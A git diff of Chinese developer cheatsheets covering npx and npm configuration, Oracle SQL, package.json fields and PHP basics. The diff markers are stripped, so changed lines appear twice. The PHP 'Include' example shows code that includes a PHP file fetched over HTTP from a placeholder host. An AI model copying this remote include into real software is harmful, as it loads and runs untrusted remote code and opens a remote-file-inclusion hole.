`npx` 二进制文件在 `npm v7.0.0` 中被重写,并且当时不推荐使用独立的 `npx`
```bash
$ npm install eslint
# 运行:
$ ./node_modules/.bin/eslint
```
上面命令简化,直接运行下面👇命令
```bash
$ npx eslint
```
命令 `npx` 将自动安装并运行 `eslint`
### npx VS npm exec
```bash
$ npx foo@latest bar --package=@npmcli/foo
# npm 将解析 foo 包名,并运行以下命令:
$ foo bar --package=@npmcli/foo
```
<!--rehype:className=wrap-text-->
由于 npm 的参数解析逻辑,运行这个命令是不同的:
```bash
$ npm exec foo@latest bar --package=@npmcli/foo
# npm 将首先解析 --package 选项
# 解析 @npmcli/foo 包
# 然后,它将在该上下文中执行以下命令:
$ foo@latest bar
```
<!--rehype:className=wrap-text-->
下面命令是与 `npx` 等效的
```bash
$ npm exec -- foo@latest bar --package=@npmcli/foo
# 等效的
$ npx foo@latest bar --package=@npmcli/foo
```
<!--rehype:className=wrap-text-->
### npx VS npm exec 示例
使用提供的参数在本地依赖项中运行 `tap` 版本:
```bash
$ npm exec -- tap --bail test/foo.js
$ npx tap --bail test/foo.js
```
通过指定 `--package` 选项运行名称与包名称匹配的命令以外的命令:
```bash
$ npm exec --package=foo -- bar --bar-argument
# ~ or ~
$ npx --package=foo bar --bar-argument
```
<!--rehype:className=wrap-text-->
在当前项目的上下文中运行任意 `shell` 脚本:
```bash
$ npm x -c 'eslint && say "hooray, lint passed"'
$ npx -c 'eslint && say "hooray, lint passed"'
```
<!--rehype:className=wrap-text-->
### 创建一个 React Naive 项目
```bash
$ npx react-native init AwesomeProject
$ npx react-native init AwesomeTSProject --template react-native-template-typescript
```
<!--rehype:className=wrap-text-->
使用 `npx` 直接创建一个 [React Native](https://reactnative.dev/docs/environment-setup#creating-a-new-application) 应用
### 创建一个 React 应用
```bash
$ npx create-react-app my-app
$ npx create-react-app my-app --template typescript
```
<!--rehype:className=wrap-text-->
使用 `npx` 跳过安装 [CRA](https://reactnative.dev/docs/environment-setup#creating-a-new-application),直接创建一个 [React](./react.md) 应用
配置
---
@ -168,7 +314,6 @@ $ nrm use cnpm
`$PREFIX/etc/npmrc` | 全局配置文件
`/path/to/npm/npmrc` | npm 内置配置文件
### 配置内容
```ini
@ -180,17 +325,16 @@ $ nrm use cnpm
注释使用 `#`, `;` 放置到一行的开头, [`.npmrc`](https://docs.npmjs.com/cli/v8/configuring-npm/npmrc) 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
### registry
:- | :-
:- | :-
`npm` | https://registry.npmjs.org/
`yarn` | https://registry.yarnpkg.com/
`tencent` | https://mirrors.cloud.tencent.com/npm/
`cnpm` | https://r.cnpmjs.org/
`taobao` | https://registry.npmmirror.com/
`npmMirror` | https://skimdb.npmjs.com/registry/
`npm` | <https://registry.npmjs.org/>
`yarn` | <https://registry.yarnpkg.com/>
`tencent` | <https://mirrors.cloud.tencent.com/npm/>
`cnpm` | <https://r.cnpmjs.org/>
`taobao` | <https://registry.npmmirror.com/>
`npmMirror` | <https://skimdb.npmjs.com/registry/>
### `.npmignore`
@ -261,8 +405,39 @@ ELECTRON_BUILDER_BINARIES_MIRROR=https://npmmirror.com/mirrors/electron-builder-
//somewhere.com/another/:_authToken=MYTOKEN2
```
纯 ESM 包
----
### CommonJS 项目移动到 ESM
<!--rehype:wrap-class=col-span-3-->
-`"type": "module"` 添加到您的 [package.json](./package.json.md)
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。(不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
- 删除 `"use strict"`;来自所有 JavaScript 文件
- 将所有 `require()` / `module.export` 替换为 `import` / `export`
- 仅使用完整的相对文件路径进行导入:`import x from '.';``import x from './index.js';`
- 如果您有 `TypeScript` 类型定义(例如 `index.d.ts`),请将其更新为使用 ESM 导入/导出
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
### TypeScript 项目输出 ESM
<!--rehype:wrap-class=col-span-3-->
- 确保您使用的是 TypeScript 4.7 或更高版本
-`"type": "module"` 添加到您的 [package.json](./package.json.md)
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。 (不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
-`"module": "node16"`, `"moduleResolution": "node16"` 添加到您的 [tsconfig.json](./typescript.md) ([列子](https://github.com/sindresorhus/tsconfig/blob/main/tsconfig.json))
- 仅使用完整的相对文件路径进行导入:`import x from '.';``import x from './index.js';`
- 删除 `namespace` 使用并改用 `export`
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
- **即使您正在导入 `.ts` 文件,也必须在相对导入中使用 `.js` 扩展名**
阅读[官方 ESM 指南](https://www.typescriptlang.org/docs/handbook/esm-node.html)
另见
----
- [npm 仓库、网站和命令行界面的文档](https://docs.npmjs.com/) _(npmjs.com)_
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_
- [Dev Cheatsheets npx](https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/javascript/npm/commands/npx.html) _(michaelcurrin.github.io)_

1222
docs/openssl.md Normal file

File diff suppressed because it is too large Load Diff

647
docs/oracle.md Normal file
View File

@ -0,0 +1,647 @@
Oracle 备忘清单
===
入门
---
<!--rehype:body-class=cols-2-->
### SELECT 语句
```sql
SELECT * FROM beverages WHERE field1 = 'Kona' AND field2 = 'coffee' AND field3 = 122;
```
<!--rehype:className=wrap-text-->
### SELECT INTO 语句
```sql
SELECT name,address,phone_number INTO v_employee_name,v_employee_address,v_employee_phone_number FROM employee WHERE employee_id = 6;
```
<!--rehype:className=wrap-text-->
### INSERT 语句
<!--rehype:wrap-class=row-span-2-->
使用 VALUES 关键字插入
```sql
INSERT INTO table_name VALUES ('Value1', 'Value2', ... );
INSERT INTO table_name(Column1, Column2, ... ) VALUES ( 'Value1', 'Value2', ... );
```
<!--rehype:className=wrap-text-->
使用 SELECT 语句插入
```sql
INSERT INTO table_name(SELECT Value1, Value2, ... from table_name );
INSERT INTO table_name(Column1, Column2, ... ) ( SELECT Value1, Value2, ... from table_name );
```
<!--rehype:className=wrap-text-->
### DELETE 语句
```sql
DELETE FROM table_name WHERE some_column=some_value
DELETE FROM customer WHERE sold = 0;
```
### UPDATE 语句
```sql
-- 更新该表的整个列,设置 `state` 列所有值为 `CA`
UPDATE customer SET state='CA';
-- 更新表的具体记录eg
UPDATE customer SET name='Joe' WHERE customer_id=10;
-- 当 `paid` 列大于零时,将列 `invoice` 更新为 `paid`
UPDATE movies SET invoice='paid' WHERE paid > 0;
```
SEQUENCES
---
### CREATE SEQUENCE
序列的语法是
```sql
CREATE SEQUENCE sequence_name
MINVALUE value
MAXVALUE value
START WITH value
INCREMENT BY value
CACHE value;
```
例如
```sql
CREATE SEQUENCE supplier_seq
MINVALUE 1
MAXVALUE 999999999999999999999999999
START WITH 1
INCREMENT BY 1
CACHE 20;
```
### ALTER SEQUENCE
<!--rehype:wrap-class=col-span-2-->
将序列增加一定数量
```sql
ALTER SEQUENCE <sequence_name> INCREMENT BY <integer>;
ALTER SEQUENCE seq_inc_by_ten INCREMENT BY 10;
```
改变序列的最大值
```sql
ALTER SEQUENCE <sequence_name> MAXVALUE <integer>;
ALTER SEQUENCE seq_maxval MAXVALUE 10;
```
设置序列循环或不循环
```sql
ALTER SEQUENCE <sequence_name> <CYCLE | NOCYCLE>;
ALTER SEQUENCE seq_cycle NOCYCLE;
```
配置序列以缓存值
```sql
ALTER SEQUENCE <sequence_name> CACHE <integer> | NOCACHE;
ALTER SEQUENCE seq_cache NOCACHE;
```
设置是否按顺序返回值
```sql
ALTER SEQUENCE <sequence_name> <ORDER | NOORDER>;
ALTER SEQUENCE seq_order NOORDER;
ALTER SEQUENCE seq_order;
```
### 从字符串生成查询
<!--rehype:wrap-class=row-span-2-->
有时需要从字符串创建查询
```sql
PROCEDURE oracle_runtime_query_pcd IS
TYPE ref_cursor IS REF CURSOR;
l_cursor ref_cursor;
v_query varchar2(5000);
v_name varchar2(64);
BEGIN
v_query := 'SELECT name FROM employee WHERE employee_id=5';
OPEN l_cursor FOR v_query;
LOOP
FETCH l_cursor INTO v_name;
EXIT WHEN l_cursor%NOTFOUND;
END LOOP;
CLOSE l_cursor;
END;
```
<!--rehype:className=wrap-text-->
这是一个如何完成动态查询的非常简单的示例
### 字符串操作
```sql
length( string1 );
```
---
```sql
SELECT length('hello world') FROM dual;
```
这将返回 11因为参数由 11 个字符组成,包括空格
```sql
SELECT lengthb('hello world') FROM dual;
SELECT lengthc('hello world') FROM dual;
SELECT length2('hello world') FROM dual;
SELECT length4('hello world') FROM dual;
```
这些也返回 `11`,因为调用的函数是等价的
### Instr
<!--rehype:wrap-class=row-span-2-->
`Instr`(在字符串中)返回一个整数,该整数指定字符串中子字符串的位置。程序员可以指定他们想要检测的字符串的外观以及起始位置。不成功的搜索返回 `0`
```sql
instr( string1, string2, [ start_position ], [ nth_appearance ] )
```
<!--rehype:className=wrap-text-->
---
```sql
instr( 'oracle pl/sql cheatsheet', '/');
```
这将返回 `10`,因为第一次出现的 `/` 是第十个字符
```sql
instr( 'oracle pl/sql cheatsheet', 'e', 1, 2);
```
<!--rehype:className=wrap-text-->
这将返回 `17`,因为第二次出现的 `e` 是第 `17` 个字符
```sql
instr( 'oracle pl/sql cheatsheet', '/', 12, 1);
```
<!--rehype:className=wrap-text-->
这将返回 `0`,因为第一次出现的 `/` 在起点之前,即第 `12` 个字符
### Replace
```sql
replace(string1, string_to_replace, [ replacement_string ] );
replace('i am here','am','am not');
```
<!--rehype:className=wrap-text-->
这返回 `i am not here`
### Substr
```sql
SELECT substr( 'oracle pl/sql cheatsheet', 8, 6) FROM dual;
```
<!--rehype:className=wrap-text-->
返回 `pl/sql`,因为 `pl/sql` 中的 `p` 在字符串中的第 `8` 个位置(从 `oracle` 中的 `o` 处的 `1` 开始计算)
```sql
SELECT substr( 'oracle pl/sql cheatsheet', 15) FROM dual;
```
<!--rehype:className=wrap-text-->
返回 `cheatsheet`,因为 `c` 在字符串中的第 `15` 个位置,`t`是字符串中的最后一个字符。
```sql
SELECT substr('oracle pl/sql cheatsheet', -10, 5) FROM dual;
```
<!--rehype:className=wrap-text-->
返回 `cheat`,因为 `c` 是字符串中的第 `10` 个字符,从字符串末尾以 `t` 作为位置 `1` 开始计算。
### Trim
这些函数可用于从字符串中过滤不需要的字符。默认情况下,它们会删除空格,但也可以指定要删除的字符集
```sql
trim ( [ leading | trailing | both ] [ trim-char ] from string-to-be-trimmed );
trim (' 删除两侧的空格 ');
```
<!--rehype:className=wrap-text-->
这将返回“`删除两侧的空格`
```sql
ltrim ( string-to-be-trimmed [, trimming-char-set ] );
ltrim (' 删除左侧的空格 ');
```
<!--rehype:className=wrap-text-->
这将返回“`删除左侧的空格`&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
```sql
rtrim ( string-to-be-trimmed [, trimming-char-set ] );
rtrim (' 删除右侧的空格 ');
```
<!--rehype:className=wrap-text-->
这将返回“&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;`删除右侧的空格`
DDL SQL
---
### 创建表
创建表的语法
```sql
CREATE TABLE [table name]
( [column name] [datatype], ... );
```
示例:
```sql
CREATE TABLE employee
(id int, name varchar(20));
```
### 添加列
添加列的语法
```sql
ALTER TABLE [table name]
ADD ( [column name] [datatype], ... );
```
示例:
```sql
ALTER TABLE employee
ADD (id int)
```
### 修改列
修改列的语法
```sql
ALTER TABLE [table name]
MODIFY ( [column name] [new datatype]);
```
`ALTER` 表语法和示例:
```sql
ALTER TABLE employee
MODIFY( sickHours s float );
```
### 删除列
删除列的语法
```sql
ALTER TABLE [table name]
DROP COLUMN [column name];
```
示例:
```sql
ALTER TABLE employee
DROP COLUMN vacationPay;
```
### 约束类型和代码
类型代码 | 类型描述 | 作用于级别
:-- | -- | --
`C` | 检查表 | Column
`O` | 在视图上只读 | Object
`P` | 首要的关键 | Object
`R` | 参考 AKA 外键 | Column
`U` | 唯一键 | Column
`V` | 检查视图上的选项 | Object
### 显示约束
以下语句显示了系统中的所有约束:
```sql
SELECT
table_name,
constraint_name,
constraint_type
FROM user_constraints;
```
### 选择参照约束
以下语句显示了源和目标表/列对的所有引用约束(外键):
```sql
SELECT
c_list.CONSTRAINT_NAME as NAME,
c_src.TABLE_NAME as SRC_TABLE,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN
FROM ALL_CONSTRAINTS c_list,
ALL_CONS_COLUMNS c_src,
ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
```
### 对表设置约束
使用 `CREATE TABLE` 语句创建检查约束的语法是:
```sql
CREATE TABLE table_name
(
column1 datatype null/not null,
column2 datatype null/not null,
...
CONSTRAINT constraint_name CHECK (column_name condition) [DISABLE]
);
```
例如:
```sql
CREATE TABLE suppliers
(
supplier_id numeric(4),
supplier_name varchar2(50),
CONSTRAINT check_supplier_id
CHECK (supplier_id BETWEEN 100 and 9999)
);
```
### 表上的唯一索引
使用 `CREATE TABLE` 语句创建唯一约束的语法是:
```sql
CREATE TABLE table_name
(
column1 datatype null/not null,
column2 datatype null/not null,
...
CONSTRAINT constraint_name UNIQUE (column1, column2, column_n)
);
```
例如:
```sql
CREATE TABLE customer
(
id integer not null,
name varchar2(20),
CONSTRAINT customer_id_constraint UNIQUE (id)
);
```
### 添加唯一约束
唯一约束的语法是:
```sql
ALTER TABLE [table name]
ADD CONSTRAINT [constraint name] UNIQUE( [column name] ) USING INDEX [index name];
```
例如:
```sql
ALTER TABLE employee
ADD CONSTRAINT uniqueEmployeeId UNIQUE(employeeId) USING INDEX ourcompanyIndx_tbs;
```
### 添加外部约束
foregin 约束的语法是:
```sql
ALTER TABLE [table name]
ADD CONSTRAINT [constraint name] FOREIGN KEY (column,...) REFERENCES table [(column,...)] [ON DELETE {CASCADE | SET NULL}]
```
例如:
```sql
ALTER TABLE employee
ADD CONSTRAINT fk_departament FOREIGN KEY (departmentId) REFERENCES departments(Id);
```
### 删除约束
删除(删除)约束的语法是:
```sql
ALTER TABLE [table name]
DROP CONSTRAINT [constraint name];
```
例如:
```sql
ALTER TABLE employee
DROP CONSTRAINT uniqueEmployeeId;
```
INDEXES
----
### 创建索引
创建索引的语法是:
```sql
CREATE [UNIQUE] INDEX index_name
ON table_name (column1, column2, . column_n)
[ COMPUTE STATISTICS ];
```
`UNIQUE` 表示索引列中值的组合必须是唯一的
`COMPUTE STATISTICS` 告诉 Oracle 在创建索引期间收集统计信息。 然后优化器使用这些统计信息来选择执行语句时的最佳执行计划。例如:
```sql
CREATE INDEX customer_idx
ON customer (customer_name);
```
在此示例中,已在名为 `customer_idx` 的客户表上创建了一个索引。它仅包含 `customer_name` 字段
下面创建一个包含多个字段的索引:
```sql
CREATE INDEX customer_idx
ON supplier (customer_name, country);
```
以下内容在创建索引时收集统计信息:
```sql
CREATE INDEX customer_idx
ON supplier (customer_name, country)
COMPUTE STATISTICS;
```
### 创建基于函数的索引
<!--rehype:wrap-class=col-span-2-->
`Oracle` 中,您不仅限于在列上创建索引。您可以创建基于函数的索引
创建基于函数的索引的语法是:
```sql
CREATE [UNIQUE] INDEX index_name
ON table_name (function1, function2, . function_n)
[ COMPUTE STATISTICS ];
```
例如:
```sql
CREATE INDEX customer_idx
ON customer (UPPER(customer_name));
-- 已创建基于 customer_name 字段的大写评估的索引
```
为确保 `Oracle` 优化器在执行 SQL 语句时使用此索引,请确保 `UPPER(customer_name)` 的计算结果不为 `NULL` 值。 为确保这一点,请将 `UPPER(customer_name) IS NOT NULL` 添加到 `WHERE` 子句中,如下所示:
```sql
SELECT customer_id, customer_name, UPPER(customer_name)
FROM customer
WHERE UPPER(customer_name) IS NOT NULL
ORDER BY UPPER(customer_name);
```
### 重命名索引
重命名索引的语法是:
```sql
ALTER INDEX index_name
RENAME TO new_index_name;
```
例如:
```sql
ALTER INDEX customer_id
RENAME TO new_customer_id;
```
在此示例中,`customer_id` 重命名为 `new_customer_id`
### 收集索引的统计信息
如果您需要在索引首次创建后收集统计信息或者您想要更新统计信息,您总是可以使用 ALTER INDEX 命令来收集统计信息。 您收集统计信息以便 `oracle` 可以有效地使用索引。 这将重新计算表大小、行数、块数、段数并更新字典表,以便 `oracle` 在选择执行计划时可以有效地使用数据。
收集索引统计信息的语法是:
```sql
ALTER INDEX index_name
REBUILD COMPUTE STATISTICS;
```
例如:
```sql
ALTER INDEX customer_idx
REBUILD COMPUTE STATISTICS;
```
在此示例中,为名为 `customer_idx` 的索引收集统计信息
### 删除索引
删除索引的语法是:
```sql
DROP INDEX index_name;
```
例如:
```sql
DROP INDEX customer_idx;
```
在此示例中,删除了 `customer_idx`
DBA 相关
---
### 创建用户
创建用户的语法是:
```sql
CREATE USER username IDENTIFIED BY password;
```
例如:
```sql
CREATE USER brian IDENTIFIED BY brianpass;
```
### 授予特权
授予权限的语法是:
```sql
GRANT privilege TO user;
```
例如:
```sql
GRANT dba TO brian;
```
### 更改密码
更改用户密码的语法是:
```sql
ALTER USER username IDENTIFIED BY password;
```
例如:
```sql
ALTER USER brian IDENTIFIED BY brianpassword;
```
另见
---
- [Oracle Database/SQL Cheatsheet](https://en.wikibooks.org/wiki/Oracle_Database/SQL_Cheatsheet) _(wikibooks.org)_

View File

@ -12,6 +12,8 @@ package.json 备忘清单
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_
### `name`
@ -21,7 +23,7 @@ package.json 备忘清单
}
```
**规则**
#### 规则
- 必须小于或等于214个字符(包括 `@scope/` 范围包)
- 不能以点(`.`)或下划线(`_`)开头
@ -328,12 +330,100 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
字段由模块作者提供,作为 `JavaScript` 包或组件工具的提示,用于打包模块以供客户端使用。 提案就[在这里](https://github.com/defunctzombie/package-browser-field-spec)。
### `exports`
```json
{
"name": "mod",
"exports":{
".": "./lib/index.js",
"./lib/*": "./lib/*.js"
}
}
```
使用最新的 `exports` 字段导出,可规避 `main` 字段局限性 [具体参考](https://nodejs.org/api/packages.html)
### exports 导出子路径中的模块
```json
{
"name": "mod",
"exports": {
".": "./index.js",
"./sub": "./src/sub.js"
}
}
```
导入
```js
import sub from "mod/sub"
```
### exports 简写 (`.` 唯一的导出)
```json
{
"exports": {
".": "./dist/index.js"
}
}
```
简写
```json
{
"exports": "./dist/index.js"
}
```
### 条件导出(exports)
<!--rehype:wrap-class=col-span-2 row-span-2-->
:- | -
:- | -
`export` | 通过 `import``import()``es` 模块加载的任何顶层导入或解析操作加载时,匹配。
`require` | 当包通过 `require()` 加载时匹配。预期的格式包括 CommonJS、JSON 和本地插件。
`node` | 匹配任何 `Node.js` 环境。可以是 `cjs``es` 模块文件。必须在 `import``require` 之后。
`default` | 默认的降级条件。可以是一个 `cjs``es` 模块文件。这个条件应该总是排在最后。
```js
{
"exports": {
".": {
"import":"./dist/index.mjs",
"require":"./dist/index.cjs", // 当包通过 `require()` 加载时匹配
"node": "./dist/ployfill.js", // 匹配任何 `Node.js` 环境
"default": "./dist/default.js" // 默认的降级条件
}
}
}
```
<red>注意:</red>由于 `require``import` 互斥,所以 `require` 不能加载 `es` 的模块,`export` 不能加载 `cjs` 模块
### `main` Vs `exports`
```json
{
"main": "./index.js",
"exports": "./index.js"
}
```
如果同时出现 <red>~~`main`~~</red>`exports` 字段,只会读取 `exports` 字段
## 任务类字段
包里还可以包含一些可执行脚本或者其他配置信息。
### `scripts`
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,下面 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`
```json
{
"scripts": {
@ -342,12 +432,14 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
}
```
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,上述 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`
有一些特殊的脚本名称。 如果定义了 `preinstall` 脚本,它会在包安装前被调用。 出于兼容性考虑,`install``postinstall``prepublish` 脚本会在包完成安装后被调用。
----
`start` 脚本的默认值为 `node server.js`
----
参考文档:[npm docs](https://docs.npmjs.com/files/package.json#default-values)
### 特定的 `scripts`
@ -355,24 +447,24 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
对于以下脚本,`npm` 支持 `package.json` 文件的 `scripts` 默认命令字段:
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行。 (见下文)
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时(见下文)。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行
- `prepublishOnly`: 在包准备和打包之前运行仅限于npm发布。 (见下文。)
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行
- `prepublishOnly`: 在包准备和打包之前运行仅限于npm发布
- `prepack`: 在打包 `tarball` 之前运行(在 `npm pack``npm publish`,以及安装 git 依赖项时)
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标
- `publish`, `postpublish`: 在包发布后运行
- `preinstall`: 在安装软件包之前运行
- `install`, `postinstall`: 安装包后运行
- `preuninstall`, `uninstall`: 在卸载软件包之前运行
- `postuninstall`: 在卸载软件包之后运行
- `preversion`: 在改变包版本之前运行
- `version`: 改变包版本后运行,但提交之前
- `postversion`: 改变包版本后运行,然后提交
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop``start` 脚本
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标
- `publish`, `postpublish`: 在包发布后运行
- `preinstall`: 在安装软件包之前运行
- `install`, `postinstall`: 安装包后运行
- `preuninstall`, `uninstall`: 在卸载软件包之前运行
- `postuninstall`: 在卸载软件包之后运行
- `preversion`: 在改变包版本之前运行
- `version`: 改变包版本后运行,但提交之前
- `postversion`: 改变包版本后运行,然后提交
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop``start` 脚本
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行
参考文档:[npm docs](https://docs.npmjs.com/misc/scripts).
@ -577,7 +669,6 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
此选项指定你的包的操作系统兼容性,它会检查 `process.platform`
### `cpu`
```json
@ -624,6 +715,8 @@ Yarn
### `flat`
<!-- markdownlint-disable MD042 -->
如果你的包只允许给定依赖的一个版本,你想强制和命令行上 [yarn install --flat](#) 相同的行为,把这个值设为 `true`
```json
@ -651,8 +744,11 @@ Yarn
注意,`yarn install --flat` 命令将会自动在 `package.json` 文件里加入 `resolutions` 字段。
另见
----
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_

972
docs/php.md Normal file
View File

@ -0,0 +1,972 @@
PHP 备忘清单
===
这份 [PHP](https://www.php.net/manual/zh/index.php) 备忘单为快速查找最常用代码的正确语法提供了参考
入门
------
### hello.php
```php
<?php // 以 PHP 开放标签开头
echo "Hello World\n";
print("Hello jaywcjlove.github.io");
?>
```
PHP 运行命令
```shell
$ php hello.php
```
### 变量 Variables
```php
$boolean1 = true;
$boolean2 = True;
$int = 12;
$float = 3.1415926;
unset($float); // 删除变量
$str1 = "How are you?";
$str2 = 'Fine, thanks';
```
查看: [Types](#php-类型)
### 字符串 Strings
```php
$url = "jaywcjlove.github.io";
echo "I'm learning PHP at $url";
// 连接字符串
echo "I'm learning PHP at " . $url;
$hello = "Hello, ";
$hello .= "World!";
echo $hello; # => Hello, World!
```
查看: [Strings](#php-字符串)
### 数组 Arrays
```php
$num = [1, 3, 5, 7, 9];
$num[5] = 11;
unset($num[2]); // 删除变量
print_r($num); # => 1 3 7 9 11
echo count($num); # => 5
```
查看: [Arrays](#php-数组)
### 运算符 Operators
```php
$x = 1;
$y = 2;
$sum = $x + $y;
echo $sum; # => 3
```
查看: [Operators](#php-运算符)
### Include
<!--rehype:wrap-class=row-span-3-->
#### vars.php
```php
<?php // 以 PHP 开放标签开头。
$fruit = 'apple';
echo "I was imported";
return 'Anything you like.';
?>
```
#### test.php
```php
<?php
include 'vars.php';
echo $fruit . "\n"; # => apple
/* 与 include 相同,
如果不能包含则导致错误*/
require 'vars.php';
// 也有效
include('vars.php');
require('vars.php');
// 通过 HTTP 包含
include 'http://x.com/file.php';
// 包含和返回语句
$result = include 'vars.php';
echo $result; # => Anything you like.
?>
```
### 功能 Functions
```php
function add($num1, $num2 = 1) {
return $num1 + $num2;
}
echo add(10); # => 11
echo add(10, 5); # => 15
```
查看: [Functions](#php-函数)
### 注释 Comments
```php
# 这是一个单行 shell 样式的注释
// 这是一行 c++ 风格的注释
/* 这是一个多行注释
另一行注释 */
```
### 常数 Constants
```php
const MY_CONST = "hello";
echo MY_CONST; # => hello
# => MY_CONST is: hello
echo 'MY_CONST is: ' . MY_CONST;
```
### 类 Classes
```php
class Student {
public function __construct($name) {
$this->name = $name;
}
}
$alex = new Student("Alex");
```
查看: [Classes](#php-类)
PHP 类型
------
### 布尔值 Boolean
<!--rehype:wrap-class=row-span-2-->
```php
$boolean1 = true;
$boolean2 = TRUE;
$boolean3 = false;
$boolean4 = FALSE;
$boolean5 = (boolean) 1; # => true
$boolean6 = (boolean) 0; # => false
```
布尔值不区分大小写
### 整数 Integer
<!--rehype:wrap-class=row-span-2-->
```php
$int1 = 28; # => 28
$int2 = -32; # => -32
$int3 = 012; # => 10 (octal)
$int4 = 0x0F; # => 15 (hex)
$int5 = 0b101; # => 5 (binary)
# => 2000100000 (decimal, PHP 7.4.0)
$int6 = 2_000_100_000;
```
另见: [Integers](https://www.php.net/manual/en/language.types.integer.php)
### 字符串 Strings
```php
echo 'this is a simple string';
```
查看: [Strings](#php-字符串)
### 数组 Arrays
```php
$arr = array("hello", "world", "!");
```
查看: [Arrays](#php-数组)
### 浮点数 Float (Double)
```php
$float1 = 1.234;
$float2 = 1.2e7;
$float3 = 7E-10;
$float4 = 1_234.567; // as of PHP 7.4.0
var_dump($float4); // float(1234.567)
$float5 = 1 + "10.5"; # => 11.5
$float6 = 1 + "-1.3e3"; # => -1299
```
### Null
```php
$a = null;
$b = 'Hello php!';
echo $a ?? 'a is unset'; # => a is unset
echo $b ?? 'b is unset'; # => Hello php
$a = array();
$a == null # => true
$a === null # => false
is_null($a) # => false
```
### 可迭代对象 Iterables
```php
function bar(): iterable {
return [1, 2, 3];
}
function gen(): iterable {
yield 1;
yield 2;
yield 3;
}
foreach (bar() as $value) {
echo $value; # => 123
}
```
PHP 字符串
------
### 字符串 String
```php
# => '$String'
$sgl_quotes = '$String';
# => 'This is a $String.'
$dbl_quotes = "This is a $sgl_quotes.";
# => a tab character.
$escaped = "a \t tab character.";
# => a slash and a t: \t
$unescaped = 'a slash and a t: \t';
```
### 多行 Multi-line
```php
$str = "foo";
// 未插值的多行
$nowdoc = <<<'END'
Multi line string
$str
END;
// 将执行字符串插值
$heredoc = <<<END
Multi line
$str
END;
```
### 操作 Manipulation
```php
$s = "Hello Phper";
echo strlen($s); # => 11
echo substr($s, 0, 3); # => Hel
echo substr($s, 1); # => ello Phper
echo substr($s, -4, 3);# => hpe
echo strtoupper($s); # => HELLO PHPER
echo strtolower($s); # => hello phper
echo strpos($s, "l"); # => 2
var_dump(strpos($s, "L")); # => false
```
另见: [字符串函数](https://www.php.net/manual/en/ref.strings.php)
PHP 数组
------
### 定义
<!--rehype:wrap-class=row-span-2-->
```php
$a1 = ["hello", "world", "!"]
